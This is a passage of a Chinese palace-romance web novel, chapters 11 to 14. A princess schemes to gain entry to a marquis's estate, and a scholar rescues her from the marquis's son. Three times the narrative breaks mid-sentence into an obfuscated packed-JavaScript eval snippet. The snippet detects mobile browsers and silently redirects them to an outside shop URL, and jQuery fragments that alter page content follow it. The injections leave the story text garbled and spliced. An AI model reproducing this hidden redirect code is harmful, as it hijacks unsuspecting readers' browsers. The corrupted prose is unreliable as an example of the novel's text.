是以,今日在书院门口看见沈悠然车驾的时候,季清清还以为是沈悠然和沈沁打赌输了,将座驾送给沈沁了。 是的,顺宁郡主沈沁自去年秋日后,也来集英书院上课了。 只不过也不是日日都来,一个月里约莫就只有七八天到场。 虽然总是这般缺席,但沈沁在书院里表现不错,再加上她又是庄太后最宠爱的孙女,书院里的先生们也不敢置喙。 “你今日怎么来了?”季清清摊开书本遮住先生视线,趴在书桌上小声嘀咕着。 沈悠然没回答她,只是侧过脸,隔着屏风朝另一侧看了看。 “成玉泽没来?”她问。 季清清愣了半晌,没听清沈悠然的话。 沈悠然顿了顿,思索了好一会儿,才补充了一句,“就是那个兵部侍郎成左峰之子成玉泽。” 她没来过书院几次,原也不知道这号人。 但严晟昨日说他和安信侯世子交好,想来也是在集英书院就读。 不在的话,她自然也另有法子。 季清清原也没想起成玉泽是谁,但提到兵部侍郎成左峰,立马就想到了书院里那个总是喜欢打折父亲名号招摇过市的人。 “他啊,和我们不是一个班,不知道来没来。” 集英书院学子众多,从大了来说分成两个院,东院是像沈悠然这样的皇天贵胄,西院是普通人家的孩子。 原本老相爷在世的时候是不分什么豪门寒门的,只不过后来为了安慰一些有门第之见的富贵人家,这才将学子们分开了。 而东院这边,又再细分了一遍,像皇室子弟和一些公侯伯爵家的子弟,在同一处;那些重臣之子,又在隔壁乙字班听课。 沈悠然也是太久没来,一时之间忘了。 那看来,只有下了课,才能去隔壁找成玉泽的麻烦了。 * 书院男女未分班,只中间隔着一道屏风。 因为是晚到,为了不打扰其他人,严晟和沈煦的书桌放在房间的最后一排,整个房间一览无余。 甫一踏进房间,严晟就觉得有什么地方不一样了。 他警觉地张望着,透过屏风,看到了原本应该空置的书桌前,多了个身影。 那身影偏瘦,脊背挺直,在一众因为疲乏而略显惫怠的身影里格外惹眼。 严晟的余光忍不住多转了两下。 那是昭懿帝姬的位置,即便她不来,整个书院也没人敢去坐。 他不自觉地向沈煦望去,在看到对方眼里同样的不解时,将疑惑按在心底,默然落座。 直到先生说了散学后,沈煦刻意在门口等着沈悠然。 “昭懿,你今日怎的来了?”他问。 沈悠然一门心思在院外,嘴上稍带敷衍。 “没事做,来看看。” 季清清一下学就溜了出去,心里惦记着沈悠然的话,目光在人群中来回巡视,找到了目标。 “帝姬!成玉泽在这!” 她的声音不小,周围不少人脚下动作未停,但双眼都顺着季清清喊话的方向望过去。 骤然被这么多人看着,沈悠然神色也丝毫不见改变,仿佛这满院子的学生都不存在一般,径直看向季清清指着的那两人。 一个是脸上带着怯意和羞恼的成玉泽,和其他人好奇的打量不一样,他在听到季清清的“帝姬”二字后,竟吓得一哆嗦,四处张望着好似想要躲起来。 另一个是站在他旁边的男子,也和旁人一样,望着沈悠然的脸上带着欣喜。 特别是在看见沈悠然目光落在自己这边的时候,那种喜不自胜,让他忽略了沈悠然似乎并非是来找他的。 他高举手中的折扇,脸上尽是笑意,“帝姬表妹。” 沈悠然心中一梗,心中实在是不想应下这声“表妹”,却又寻不到反驳的话,只得抿着唇不说话,神情略带不虞。 她才不想叫这种纨绔一声“表哥”。 成玉泽见庄绪抬腿朝着沈悠然的方向走去,看了眼沈悠然的同时,目光也扫到了她旁边沉着一张脸的沈煦,顿时觉得腿肚子有些发软。 “世、世子,我们还是快些去食署吧,莫要、莫要被那些贱民抢了坐。”他拉住庄绪,想要逃。 集英书院内设食署,无论是先生还是学子,都可在食署中用膳。 不过话是这么说,但西院那边的学生,多是自备粮食,少有在食署里吃饭的。 只因食署中的吃食,大多是迁就那些富家子弟,价格并不便宜。 其实是不怕被人抢了席位,这不过就是成玉泽心虚理亏罢了。 庄绪见他一副被吓得哆嗦的样子,还以为他是被沈悠然和沈煦的身份吓到了,顿时有些不满。 “吃吃吃,你就知道吃!真是个猪脑子。” “要吃你自己滚去吃,莫要耽搁了我同表妹叙旧。” 说罢,他一甩袖,也不管成玉泽要如何,朝着沈悠然走去。 成玉泽留在原地进退两难,逃走的想法还是占了上风。 只是就在他犹豫的这片刻,沈悠然已经走到了他们面前。 庄绪清了清嗓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689091|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话里带着些许的殷勤。 “帝姬表妹,今日怎的来了书院?” “你若是早支会一声,我就让人把东西都搬回去。” 庄绪是安信侯府已然上表请封过的世子,又是太后的亲侄孙,原是分在甲字班的。 只是后来沈悠然不来书院了,庄绪一个人呆在甲字班,也觉得无趣。 论家世,别说沈煦和沈照了,就连旁的皇亲宗亲子弟他也比不上,哪怕有些如今已快没了名字,但却依旧能凭借身上流着的那点血,稳坐宗亲之位,享受应有的待遇。 论学问,他更是志不在此,别说甲字班了,就是整个书院,也找不出几个比他还差的。 他也算是有自知之明,知道在甲字班里,自己就是个凤尾,便自请去了乙字班。 凭借着他安信侯世子、太后亲侄孙的身份,在乙字班里,混得叫一个风生水起,笼络了一群家世不如他的官僚子弟,颇有一番占山为王的态势。 其中,跟他关系最为熟络的,就是成玉泽,常年跟在庄绪身后招摇过市。 虽是要利用他,但沈悠然也不客气,既叫不出这声“表哥”,那也不会勉强自己。 “世子,旁边这位,可是同你交好的成家公子?” 庄绪一愣,不知沈悠然是何意,看向成玉泽的目光里也多了些不虞。 因为自持身份贵重,庄绪在他的一众狐朋狗友面前,总是觉得高人一等。 说是朋友,下意识里也是把他们当做了可以随意使唤的对象。 帝姬表妹不同自己叙旧,倒是打听起了自己身边的狗,庄绪能高兴才怪。 “略有交情。”庄绪语气一沉。 沈悠然为他们之间这脆弱不堪的友情冷笑了一声,而后才悠悠然开口。 “世子,虽说交什么样的朋友是自己的事,但既然世子叫本宫的皇祖母一声姑祖母,那有些话,怕是难听也得让世子听听了。” “都说物以类聚人以群分,世子若是和这等品行败坏之人来往,怕是要坏了自己的名声。” 严晟倚在门栏边,看着沈悠然只说完这两句话就停下了,觉得她是故意的。 故意不把事情的来龙去脉说清楚,像是要显得自己高深莫测一般。 他抿唇压了压嘴角。 庄绪听了沈悠然的话,立马去质问成玉泽是怎么回事。 成玉泽哆哆嗦嗦地说着自己喝醉酒认错人差点冒犯了昭懿帝姬的事。 认错、差点,这几个字还特意加重了调子。 全篇说来,避重就轻,一副自己无辜的样子。 庄绪听完,勃然大怒。 因为盛兴帝并非庄太后所出,庄家上下总觉得养恩毕竟不如生恩,就怕哪一日盛兴帝不再照拂他们这个便宜母家,便想着要同盛兴帝亲上加亲。 ——庄家想要为庄绪求娶昭懿帝姬。 这几年安信侯明里暗里提起这件事,都被盛兴帝以昭懿帝姬尚且年幼,不着急婚事为由敷衍过去。 庄家一无功绩二无实权,总不可能去逼婚,便总是告诫着让庄绪同昭懿帝姬多多相处,兴许两孩子感情深厚,盛兴帝也就不再阻拦。 庄绪自然是愿意的,且不论昭懿帝姬出身高贵,光是那张脸,让他费些心思也是心甘情愿的。 可自己尚且要处处讨好,成玉泽一个扒着自己的废物,竟敢随意冒犯! 庄绪当即踹了成玉泽一脚。 12. 第 12 章 几人在这站着耽搁的几句话功夫,其余的学子早已散尽,偌大一个院子变得空荡荡的。 可就算是这样没有旁的人在场,成玉泽也觉得面子上挂不住。 他爹可是兵部侍郎…… 但这种话,成玉泽这只能在心里嘟囔。 在场的人里,沈悠然和沈煦有个皇帝爹、庄绪有个侯爷爹、季清清有个当宰相的祖父。 就算是看起来家世最低的严晟,也有个给太子当先生的太傅爹,得太子尊敬不说,正一品的官职也比自己那个从三品的爹高。 随便一个人,他都惹不起,再难咽下的一口气,也只得老老实实憋着。 见他一副窝囊样,庄绪更觉得来气,总觉得因为这个人,害自己在帝姬表妹面前丢了脸。 季清清在旁边拉扯着沈悠然的袖口,小声嘀咕着:“庄绪看起来好可怕,像是那种成了亲之后会随意殴打妻子的人。” “幸好帝姬你不喜欢他,不然……” 沈悠然也颇为厌恶地看了一眼庄绪,她最是鄙弃那种管不住自己脾性只会拿旁人撒气的人。 哪怕是自己瞎了眼,也断不会嫁给这种人。 庄绪正在气头上,倒是没看见沈悠然和季清清在低语。 他心里揣着事,快速盘算着。 好在做了错事的不是自己,还有的是机会补救。 思及此,他瞬间又觉得这或许也不算一件坏事。 甚至说,有了成玉泽这个“小弟”做的错事,他这个“大哥”,才有借口去赔罪。 “玉泽有眼无珠冲撞帝姬,帝姬理应责罚。” “然,玉泽有错,庄某亦非无辜,都怪庄某素日里对亲朋疏于规劝,这才让玉泽犯下此错。” “若帝姬不嫌,庄某这就命人去云来酒楼置办一桌上好席面来赔罪,还望帝姬赏脸。” 庄绪这人,正经书看不得,偏偏那些讲江湖故事的话本子,只差没到倒背如流的地步。 他肚子里那微末的墨水,都用在此时编出这些文绉绉的话来了。 话本子里旁的没学会,倒是将那些“拉帮结派”的做法学了个十成十,虽然年纪比成玉泽还小,但总是以“老大”身份自持,替下头的人道歉这种事是该做的。 沈悠然从前在书院的时候,就见识过他的一个朋友打碎了先生的茶盏,他代为在先生面前赔罪,得了先生一句“有情有义”的夸赞。 先生是不是真心沈悠然不知道,只是从那之后,庄绪更是觉得自己肩上责任重大。 也是因为知晓庄绪的为人,沈悠然才猜到庄绪会为了成玉泽的过错出头,也想到庄绪得了家里的授意,素日里就喜欢同自己扯上关系,即便这是件跟他庄绪八竿子打不着的事情,他肯定也不会错过这么一个“赔罪”的机会。 所以在知道成玉泽和庄绪交好的时候,她就谋划好了今天这么一出…… 沈悠然蓦地身子一震,当即转过头看向了严晟。 严晟依旧是半倚在门边。 和身边那皱着眉沉默的沈煦不同,严晟就这么淡淡地看着,仿佛一切都和自己没有关系一般。 想到自己是怎么知道成玉泽和庄绪关系的,沈悠然就忍不住冷笑了一声。 好啊,原来她这是被人算计了。 对比起沈悠然毫无狠意的怒视,严晟倒是回以坦荡的回望。 似乎故意透露那二人关系引得今日沈悠然来钓鱼儿的,并不是自己一样。 被人当刀使了,偏偏还不能中途反悔撂挑子不干,因为她也是想要去安信侯府走一趟的。 沈悠然心中憋着气,尽数发到庄绪身上,倒将自己这娇蛮的性子发挥得十成十。 “愚蠢!” “本宫金枝玉叶,外头那些酒楼茶肆鱼龙混杂,若是有和那人一般不长眼的人冲撞了,你可担得了这个责?” 庄绪被她斥得一愣一愣的,不知道是该为了帝姬表妹应了自己的邀约高兴,还是该为自己的考虑不周致歉。 不过也是,表妹这么金贵的人儿去那种喧闹嘈杂的地方,确实是自己疏忽了。 自己想要见表妹一眼都不容易,外头那些贱民百姓们,又有什么资格得见表妹容颜呢。 “那不然……我在请几位大师傅来安信侯府?”他小心试探。 沈悠然不置可否。 倒是季清清极为不解。 “你倒是想得……” 话还没说完,就被沈悠然拽着袖子,打断了后面的话。 这下庄绪可看清了,也立即明白了沈悠然的意思。 只是他脸上笑意还没展现出来,一颗心就被沈悠然的下一句话又给提溜了起来。 “既是安信侯府,想来定是比外头好。” “只不过……” 沈悠然的话停在这里,也没等庄绪再开口,倒是侧过身子微微抬起下颌看向严晟。 也没说话,就这么静静盯着。 直到严晟率先败下阵来,微不可闻地点了点头。 其实沈悠然也不明白他这点头是何意,只是想着,能让他有点反应就算是自己赢了。 这才又将目光落回庄绪身上。 “只是这到底不是什么光彩的事,若是传出去了,对本宫名声也不好。” “本宫听闻庄世子素来仰慕太子哥哥的才华,特在家中设宴款待请教学问,恰巧本宫近日来于学问上也有不懂的地方,不知本宫可有幸来凑这个热闹?” 庄绪被她忽悠得一愣,脑子里闪过了好些念头。 一会儿觉得不愧是帝姬,思虑如此周全,既保全了她,还替自己谋了个勤学好问的名声,若是父亲知道了,定是会夸自己的。 一会儿又觉得,帝姬和太子这兄妹感情当真是深,两人不用言语,仅仅是方才那么一小会儿的眼神交流,就能想出一个周全之策。 一会儿又忍不住有些惆怅,还以为能和帝姬表妹独处呢,没想到中间还得隔着一个不敢叫表哥的表哥,想要同表妹亲近亲近也没了机会。 不过倒也无妨,既然表妹都主动替自己名声着想了,往后自然还有的是时机亲近。 就在他迷迷糊糊晕头转向的时候,沈悠然又开了口。 “太子哥哥身份更为贵重,如只是这样赴宴,未免有人暗自揣测世子是得了安信侯授意另有所求,这宴,不如再多请些人。” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689092|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠然歪着头作思索状。 “清清乃是本宫好友,同本宫一道赴宴,不为过吧?”到时候如果需要做什么,理当有个人帮忙遮掩。 “二皇兄亦是文采斐然,如若二皇兄前来,想必也是极好的。”反正二皇兄比自己更不待见这位世子,定不会应下这邀约,到时候若是闯了什么祸,还能用二皇兄这个安信侯府血脉的身份推脱自己并无恶意。 她心里揣着气,故意顿了一会儿,才好像是勉勉强强地补了一句。 “哦,差点忘记了,严公子也可以来。” “成玉泽倒是不用了,免得碍了本宫的眼。” 明明沈悠然只是个客人,三言两语间竟将主人家的事都安排好了。 庄绪也不敢去说沈悠然失礼,只是这般看似周全的安排却让他面露苦色。 多一个“大舅哥”就忍了,这不过片刻功夫,又多了好些不相干的人出来。 除了沾亲带故的那些人,季清清一个女子也罢,他严晟,又凭什么能上得了安信侯府的席面。 不过都是仗着太子的身份狐假虎威而已。 方才还嫌成玉泽坏了事,此时庄绪却好似忘了一般,只心里觉得愤愤不平——太子殿下的人可以去,自己的人凭什么去不了。 他也明白成玉泽不敢真的觊觎昭懿帝姬,只是一时不知身份犯了错事,那一脚泄了愤之后,还是在心里为他开脱。 这么一来二去,倒是把严晟记恨上了。 但再怎么有怨言,脱口而出的还是一句“是”。 入安信侯府的借口找到了,沈悠然也无意再逗留于此。 架不住季清清一直问,她三言两语给季清清解释了一遍成玉泽一事的来龙去脉。只道是真觉受了气,想让人赔罪。 当然,她可没说去安信侯府是为了找机会见一见那位安信侯的爱妾,毕竟此事事关重大,未曾查明之前,不好泄露丝毫。 就在她支开青黛去收拾车架回宫的时候,她才终于有机会和严晟搭上话。 “严公子真是,好算计。”她语气恶狠狠的,“本宫听闻,当朝太子与其伴读,乃宣阳城内最是担得风光霁月名号的两位公子,竟是想不到,私下底是这种喜欢挖坑给别人跳的性子。” “你是故意告诉我他二人关系好的对吧?你是知道庄绪会出头,也知道本宫会就势拿捏庄绪提起能出入安信侯府还不被怀疑别有用心的法子。” 该死的严晟,她这还是第一次被人算计呢。 沈悠然忍一时越想越气,恨不得双眼化作刀子,狠狠地将他剜肉放血。 奈何她那样貌就不是骇人的模样,明明是个恶狠狠的眼神,因着那一双水波流转的眸子,威慑不足而娇俏有余。 严晟解释道。 “并非算计。” “庄绪确是在我计划范围内,不过在下想的只我和太子二人赴宴。” 沈悠然一口气堵着上不来也下不去。 怎么,还成了她跟过去的错了? 但气哄哄地盯着他的脸时,又觉得好像也生不出多大的气来。 这样一盘算,沈悠然竟又觉得有些烦闷。 唉,都是美色惹的祸。 13. 第 13 章 听闻女儿要去安信侯府赴宴,盛兴帝心中是一万个不乐意。 天气渐热,御膳房日日备菜,也必添一道清热解暑的来。 譬如前日的汤水是绿豆排骨汤,昨日又给每人备了一盏小巧的冬瓜盅。 今日的,是沈悠然最是厌恶的苦瓜。 但架不住赵皇后苦口婆心的规劝,沈悠然嘟着嘴,本着不能自己一个人吃苦的念头,硬是将碗中的苦瓜片分了一半给盛兴帝。 盛兴帝还道是女儿懂事关心自己,这夸赞的话还没说出口,就听见沈悠然明日要出宫的请求。 他只觉得,今日这菜做得确实不怎么好,这苦涩味在舌尖经久不散。 盛兴帝可不喜自己的女儿同安信侯府过多来往。 安信侯打的什么龌龊主意,他早就一清二楚。 庄家在大盛,算不得什么名门贵族,整个族谱上最有出息的,并非是家中建功立业的儿郎,而是庄太后。 早在先帝还是太子的时候,庄太后因着家中姻亲关系,得了先帝生母的眼,成了先帝府上的一名侍妾。 没过两年,先帝元妻去世,先帝生母同彼时的皇后夺权,为了避免儿子的正妻和皇后一条心,便扶持了庄氏成为继室,这才有了后来的庄皇后、如今的庄太后。 除庄太后之外,庄家还有一位贵人——庄太后的亲侄女,二皇子的生母,后宫中除了赵皇后外唯一的妃子庄贵妃,只可惜庄贵妃早逝,留下的二皇子也同庄家不亲。 这种靠着姻亲关系得来的荣耀,庄家自己也知晓,并不牢靠,所以费尽心思想要延续家族的兴盛。 若非是因为庄家出了太多的后妃,盛兴帝毫不怀疑,庄家还想要再塞个女子进太子的府上。 太子不行,皇帝还有个最宠爱的女儿…… 盛兴帝一方面觉得庄家异想天开胆敢妄想把持后宫,一方面又因为庄家将他的昭懿视做退而求其次的选择而震怒。 “皎皎啊,那安信侯府……” 盛兴帝的话顿了顿,无论怎么说,安信侯府是太后的娘家,他这个帝王也不好直说安信侯府上的不是。 否则若是下头有人因此对安信侯府如何,伤的还是太后的颜面。 他只好换了个说辞,旁敲侧击沈悠然出宫是为何。 “那安信侯府上,可有什么好玩的,引得皎皎感兴趣?” 先前在书院里编出来的那套糊弄外人说辞根本就骗不了盛兴帝。 沈悠然是不是个勤奋好学的性子,盛兴帝一清二楚。 但无论是对成玉泽怀恨在心,还是说想要去安信侯府探查,都不合适。 前者,怕是会让盛兴帝觉得自己的女儿还未消气而震怒,虽是成玉泽的过错,但毕竟自己也没伤到,也不好伤了盛兴帝和成左峰的君臣之义,沈悠然毫不怀疑如果现在自己说还是耿耿于怀,晚间就能听到成玉泽在大牢里的消息。 后者……若是让盛兴帝知道了,只会觉得是小女孩儿参与这种朝堂大事就是在胡闹,断然不会放人出宫的。 沈悠然抿唇想了想,“女儿前些日子去靖王府赴宴偶然听闻安信侯府上得了盆异色的牡丹,正愁着没什么借口去看上一看呢,恰巧今日就听见庄世子邀哥哥赴宴,便想着趁此机会去看看罢了。” 见自己女儿不是被庄绪哄骗了,盛兴帝稍放了心,但面色依旧不虞,“若是皎皎喜欢,管他什么异色纯色的牡丹,父皇这就替你寻来。” 沈悠然从善如流地抱着盛兴帝的胳膊晃悠,直言自己许久不曾出宫玩了。 她还颇为善解人意地跟盛兴帝打包票,“父皇,你放心,皎皎才看不上庄绪那个纨绔呢。” 盛兴帝向来都是拿撒娇的沈悠然没有办法,再也提不出反对的话。 “那我家皎皎,看得上什么样的好儿郎?父皇指定为你找来!”盛兴帝起了调侃之心。 他原本也没打算得到什么结果的,他和赵皇后都觉得,皎皎还小,不急着议亲。 不过是想要逗着女儿玩罢了。 谁料,沈悠然听到这话,竟真的思索了起来。 “个子得高,不能比太子哥哥矮;肤色得白一点吧,太黑了会丢了皎皎的脸;话不能太多,像庄绪那样的,太吵闹了,让人头疼……” 她越说越细致,好似真的有那么一个人,高个子,皮肤白,话还少。 盛兴帝后头一哽,有了不好的猜测,但又不想再细细追问下去,遂不再接沈悠然的话,埋头用膳,心里暗自盘算着今年的苦瓜着实不太好入口。 只剩下一脸迷茫的沈悠然,和捂嘴窃笑的赵皇后。 * 安信侯府离宫甚远,沈悠然坐了约莫一个时辰的马车,才到目的地。 这一路上,虽说不上颠簸,但多少有些疲,沈悠然心中藏着怨,撩开窗边的帘子狠狠瞪了一眼严晟。 那人正和太子策马并驾,也不知是怎么的,竟像是背后长了眼睛一般,转过身子朝着沈悠然的方向看了一眼。 沈悠然手疾眼快放下了帘子,而后才暗自后悔,本是正大光明,这下倒像是自己心虚一般。 忍一时越想越气,沈悠然伸出头去,恰好撞上严晟还没来得及收回的目光,然后……做了个鬼脸。 丝毫没去管对方会是什么反应,她又马上缩回车里。 泄了点愤,她心情稍微好了些,开始琢磨起了庄家的事来。 她是真的想看看这疑似“卖官鬻爵”到底是怎么回事。 沈悠然可不像盛兴帝,因为庄太后的的缘故对庄家的事处处忍让。 她甚至在心底隐隐希望庄家完蛋,这样每月去皇祖母宫中请安的时候,就不用见到“恰好”进宫探望妹妹的安信侯府老夫人了,也不用再被拘着听庄绪如何如何好了。 沈悠然摸了摸鼻子,因为自己心底那点儿黑暗的小心思而有些心虚。 不过也只是那一刹的功夫,而后又觉得理直气壮——反正皇祖母又不大喜欢自己。 “帝姬,到了。”马车外的内侍官出声打断了沈悠然的自我反省,“安信侯和世子在门口相迎。” 因为今天出门另有打算,沈悠然出宫的时候没带上青黛。 她宫中这个平时负责驾车的小内侍天生木讷,平时都有青黛在跟前伺候着,一时之间也没意识过来,应该要伸手让主子扶着下车。 沈悠然站在车架边沿,也没同他置气,只低着头看地面。 那厢,沈煦正在同安信侯寒暄,二人你来我往地做着表面功夫。 倒是一心挂在沈悠然身上的庄绪,在旁边上蹿下跳。 安信侯庄明阳在旁边抚须而笑,极力想要凹出一副仙风道骨的样子,说的却是带着俗气的话。 “绪儿可真是……满心满眼都是帝姬啊,还不快去扶着帝姬?” 庄绪笑意盈盈地下了台阶,对着沈悠然伸出右手。 沈悠然偏过头,用余光撇了一眼早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689093|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄绪一步搭在马车壁沿上的手腕,谁也没理,纵身往下一跳。 她可是特意换了双轻便的鞋子,怎么可能连一辆马车都下不了,看不起谁呢? “今个儿都是自家人,还行安信侯莫要嫌本宫并未盛装出席。” 庄明阳嘴角微微一抽,他怎么会看不出来,昭懿帝姬这是在无声拒绝自己的儿子呢。 他和昭懿帝姬算哪门子的自家人。 即便心中有些不满,但他表面功夫还是做得十足,口中说着都是自家人,不讲究虚礼。 沈悠然无心再同他父子二人寒暄,好在季清清此时也到了场。 虽然她不知道沈悠然是打的什么主意,但免费的席面,不吃是傻子。 见人已到齐,庄明阳才幽幽然开口:“府上宴席已备好,太子、帝姬,还请入席。” * 虽然庄绪恨不得提着凳子挨着沈悠然落座,但因为沈悠然和沈煦的身份,庄夫人还是做主将男女分了席。 男客那边沈悠然不清楚,女眷这边,老夫人身体抱恙,一张桌上只有一个主人家,再有沈悠然和季清清两个客人,看起来空荡荡的。 虽然庄家的男人不怎么样,但凭心而论,庄家有两个人,对沈悠然还是不错的。 一个是已逝的庄贵妃,另一个就是安信侯夫人常氏。 是以沈悠然还是愿意好言相待。 甫一落座,常夫人就招呼开了。 “家中席面操办得简陋,比不得宫中膳食,还请帝姬包涵。” “帝姬尝尝这个,日前在太后娘娘宫中听闻帝姬喜食笋尖,这是从嘉远采买来的夏笋,虽比不得春笋鲜美,但胜在吃得一个清爽,倒也别有一番滋味。” 常夫人是庄太后的侄媳妇,是沈悠然每月请安的见证人之一。 夏笋虽算不上什么稀罕之极的东西,但常夫人这份心,沈悠然自然是领下了。 “多谢夫人,既是寻常小宴,夫人也不必拘礼。” 她浅笑着看着常氏,看见了她眼底泛着青,似是休息不足。 “夫人可是,有何心事?”她问。 常氏下唇一抖,到底是没同沈悠然细说,“家中琐事多,劳累了些,多谢帝姬挂念。” 家中琐事…… 沈悠然莫名就想到了传言中那个深受安信侯宠爱的妾室。 她揣着心事,席间也只是简单用了两口,借口对夏笋的做法感兴趣,趁着常氏吩咐下人去厨房找大师傅要方子的机会,同一旁吃得停不了筷的季清清小声嘀咕。 “清清,待会儿帮我个忙。” “我想去侯府花园逛逛,你帮我拖着常夫人。” 季清清嘴上动作不停,腾不出空来说话,只得点了点头。 沈悠然见时候差不多了,用小指勾着桌上的茶盏,满满一杯的清茶尽数洒在她的长裙上。 “帝姬!”常夫人有些惶恐,“可有烫着?” 看到常夫人这般慌张,沈悠然心有愧疚,忙说自己无事,但想要借后院更衣。 常夫人连忙起身说要带她去更衣。 季清清心领神会,连忙拉着常夫人说自己母亲早就想要邀她过府一叙之类的家长里短。 常夫人心想自己离席少不得会怠慢季姑娘,再加上沈悠然坚持,便找了个下人带路。 只恍惚之中,季清清疑惑了一霎——帝姬想要去花园,正大光明去就好,何故要做得这般偷偷摸摸的样子? 14. 第 14 章 沈悠然还是第一次来安信侯府。 在她跟前引路的女子,是常夫人身边得力的侍女,沈悠然从前也同她打过照面。 侍女知道沈悠然身份尊贵,也不敢有丝毫的怠慢,也不敢大着胆子去打量这据说比太子殿下还要受帝后宠爱的帝姬,埋着头只管在前面引路。 这也就给了沈悠然四处张望的机会。 东边是待客的地方,取了紫气东来之意。 庄家这种人家,儿郎们不想着怎么好好建功立业,就盼着能有贵客提携,整日里就盘算着这些歪门邪道。 寻常宅院都会专门将主家休息与待客的地方分隔开来,沈悠然在心里琢磨着,得想个办法引得这个侍女带她去西侧去找找。 沈悠然捏着裙上被茶水打湿的那一块,就在走动之间,风吹着湿意散去不少,只留有浅绿色的茶渍印记,在她那藕荷色的裙摆上略显惹眼。 她隐约记得庄家还有个女儿,年纪应该跟自己差不多。 年轻小姑娘,对穿的衣服挑剔些,再郑成功不过了。 颜色太重了、料子太厚了、样式不方便,随便都能寻些借口来。 既然庄家还有个同龄的女儿,去她那挑一件,也不奇怪吧。 这样进入后院,可不就顺理成章了。 沈悠然这么想着,脚下的步伐也快了些,她可是等着去挑三拣四呢。 “帝姬,这边就是客院了,您……” “帝姬表妹!” 两道声音交叠着想起,那侍女本就胆子小得都不敢看沈悠然,自然也就被后面那道欣喜张扬的声音盖了过去。 沈悠然下意识地深吸了一口气,怎么哪都有他。 “庄世子,这边是女眷更衣的地方。”她抑制着心中的烦躁,“不知道庄世子,是有什么要紧的事要寻本宫呢?” 这短短一句话说得咬牙切齿,沈悠然是真的怕被他缠上,然后打乱原本的谋划。 庄绪看着沈悠然眉间凛然,恍惚间竟生出一种在面见盛兴帝的感觉,担忧着会不会今天拿不出合适的说辞来,就被发落了。 但他又不得不硬着头皮上前,这可是他爹交代下来的事。 虽然不知道他爹为什么要让他把帝姬带到小花园去,还得抓紧动作,但既然他爹没说,他也就不问。 庄绪一向是这样的,家中的事反正有爹管着,再往上的大事,有太后姑祖母撑着。今天的太阳从哪个方向升起来,左右是不用他这个安信侯府世子操心的。 他只要听长辈的话,好好当个世子就行。 “那个、帝姬表妹……”庄绪急得抓耳挠腮的,把他看的那些江湖气的话本子想了个遍,也没想出个好的说辞来,“花园那边、那边……” 沈悠然有些不耐烦,她最是看不惯别人这幅扭捏模样。 “不管花园那边有什么,现在本宫需要更衣,还请世子回避。”她板着个脸。 庄绪见她转身要走,一时之间更加着急,怕耽误了他爹口中的“抓紧”,慌乱之中上前就要拉沈悠然的手腕。 “你……”沈悠然气急。 他竟敢……庄绪竟敢…… “庄绪,你想做什么!”沈悠然气得反手就想往他脸上挥。 庄绪原也只是单纯的想要阻拦住沈悠然要走的步伐,也没有那等龌龊心思,在看见沈悠然呼过来的巴掌后,竟第一时间伸出手攥住了她的另一只手腕。 看起来倒是真的想对沈悠然行不轨之事。 原本就在旁边急得团团转的侍女见状,直接惊呼出了声。 “世子!”你怎么能对帝姬如此无理。 虽然安信侯府才是她的主人家,可自家夫人在帝姬面前尚且需要处处小心,侍女是真的怕世子这番闯出什么祸来。 她的呼声,也顺利引来了跟在庄绪之后而来的严晟。 他一眼就看见了庄绪双手捏住昭懿帝姬,将她困在廊柱之间的场面。 脚边散落着装饰用的石子,严晟当即弯腰拾起了一块栗子大小的硬石,朝着廊下的方向扔去。 不偏不倚,刚好砸在庄绪的鼻头。 庄绪一时吃痛,下意识地就松开了手,去抚摸揉搓着自己的鼻尖来缓解那痛感。 但也没忘了四处张望,在看见疾步走来的严晟时,空闲的那只手便指向了他破口大骂。 “严晟,我看你是脑子里进了粪水,竟敢如此对我?” 严晟先是看向了沈悠然。 沈悠然收回了还没来得及顶出去的膝盖,对上了严晟的目光。 小小的一个客院,怎么会热闹成这样,沈悠然心想。 衣衫不乱,目光也还算清明,看起来应该是没事,严晟猜测。 确认了沈悠然无恙后,严晟才不咸不淡地解释道。 “殿下不见帝姬的身影,担心出什么事,让我出来看看。” 出来看看是真,但不是沈煦的意思。 不过是严晟恰好看见沈悠然出门之后,庄明阳对着庄绪小声吩咐了几句,随后庄绪也跟着出去了。 庄家是什么打算,心知肚明的人不少,严晟也是其中一个。 盛兴帝什么态度,知道的人不算多,严晟也是其中一个。 但沈悠然无意于庄绪,严晟担心庄家是打着想要生米煮成熟饭的算盘。 虽然按照庄家那贪生怕死的性子不大能做得出这种大逆不道之事,但凡事只怕万一。 人是跟着自己来的,严晟不能眼看着沈悠然出事。 搬出沈煦的名号之后,庄绪肉眼可见地没了之前那副趾高气昂的模样,他略带烦躁地揉了一把鼻子。 